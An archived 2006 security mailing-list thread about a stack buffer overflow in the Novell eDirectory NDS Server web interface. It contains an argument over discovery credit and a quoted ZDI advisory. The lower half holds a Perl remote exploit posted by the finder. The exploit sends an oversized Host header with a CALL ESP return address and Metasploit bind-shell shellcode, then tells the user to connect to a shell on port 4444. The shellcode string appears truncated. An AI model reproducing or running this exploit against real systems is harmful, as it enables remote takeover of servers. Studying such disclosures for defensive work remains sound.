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Re: ZDI-06-035: Novell eDirectory NDS Server Host Header Buffer Overflow Vulnerability
From: FistFuXXer <FistFuXXer () gmx de>
Date: Sat, 28 Oct 2006 08:34:57 +0200

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Hello Matt Richard,

the vulnerability details have been submitted by me on June 1, 2006
CST/CDT (June 2, 2006 GMT+1). So I've found the vulnerability before
Michael Ligh and Ryan Smith did it. But it seems that one of the
employees of ZDI did a mistake during the processing of my submission.

Anyway, it doesn't matter if the IDS signature got released on, before
or after the patch day, because a professional IPS system like
TippingPoint IPS should detect or filter shellcodes and return addresses
within the host header without any special IDS signature. For example,
you can filter all illegal characters from the host header and convert
everything to lowercase characters. Or better: convert the domain name
in the host header to a random mixture of lowercase and uppercase
characters and redirect this to the destination server, this should f***
up every kind of ASCII shellcode and ASCII return address. ;-)

Maybe should you better take some minutes time and think about the fact
that we humans aren't perfect and make mistakes, instead of wasting your
time with trying to destroy the image of a company. The employees of
such companies have to do a lot of work with all the submissions that
they receive and I also know other security companies that sometimes
broke down because of this and did multiple mistakes during payment and

Sincerely yours,

Manuel Santamarina Suarez

Matt Richard wrote:
On 10/27/06, zdi-disclosures () 3com com <zdi-disclosures () 3com com> wrote:
-- TippingPoint(TM) IPS Customer Protection:
TippingPoint IPS customers have been protected against this
vulnerability since October 26, 2006 by Digital Vaccine protection
filter ID 4519. For further product information on the TippingPoint IPS:
The specific flaw exists within the httpstk.dll library within the
dhost.exe web interface of the eDirectory Host Environment. The web
interface does not validate the length of the HTTP Host header prior to
using the value of that header in an HTTP redirect. This results in an
exploitable stack-based buffer overflow.

This 0day was reported on 10/20/06 here

Seems that your initiative has fallen a bit behind.  Your customers
had to wait for you to realize this had already been released and a
signature was added to Bleeding Snort on 10/23.

It's also a bit odd that Novell released the updates on 10/20/06, the
same day as the MNIN advisory.

Based on the time line it looks like the whole thing might have been
ripped off.....



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# "Novell eDirectory 8.8 NDS Server" Remote Stack Overflow Exploit
# Author:  Manuel Santamarina Suarez
# e-Mail:  FistFuXXer () gmx de

use IO::Socket;

# destination IP address
$ip = '';

# destination TCP port
$port = 8028;

# RETurn address. 0x00, 0x0a, 0x0d, 0x3a free
$ret = reverse( "\x5F\x83\x3B\x7A" );  # CALL ESP
                                       # MFC42U.5f833b7a

# 0x00, 0x0a, 0x0d, 0x3a free shellcode
# win32_bind -  EXITFUNC=thread LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com
$sc = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".

print '"Novell eDirectory 8.8 NDS Server" Remote Stack Overflow Exploit'."\n\n";

$sock = IO::Socket::INET->new

    PeerAddr => $ip,
    PeerPort => $port,
    Proto    => 'tcp',
    Timeout  => 2

) or print '[-] Error: Could not establish a connection to the server!' and exit(1);

print "[+] Connected.\n";
print "[+] Trying to overwrite RETurn address...\n";

$sock->send( "GET /nds HTTP/1.1\r\n" );
$sock->send( 'Host: ' . 'SEXY' x 17 . $ret . $sc . "\r\n\r\n" );

print "[+] Done. Now check for bind shell on $ip:4444!";

close( $sock );

Attachment: advisory.pdf

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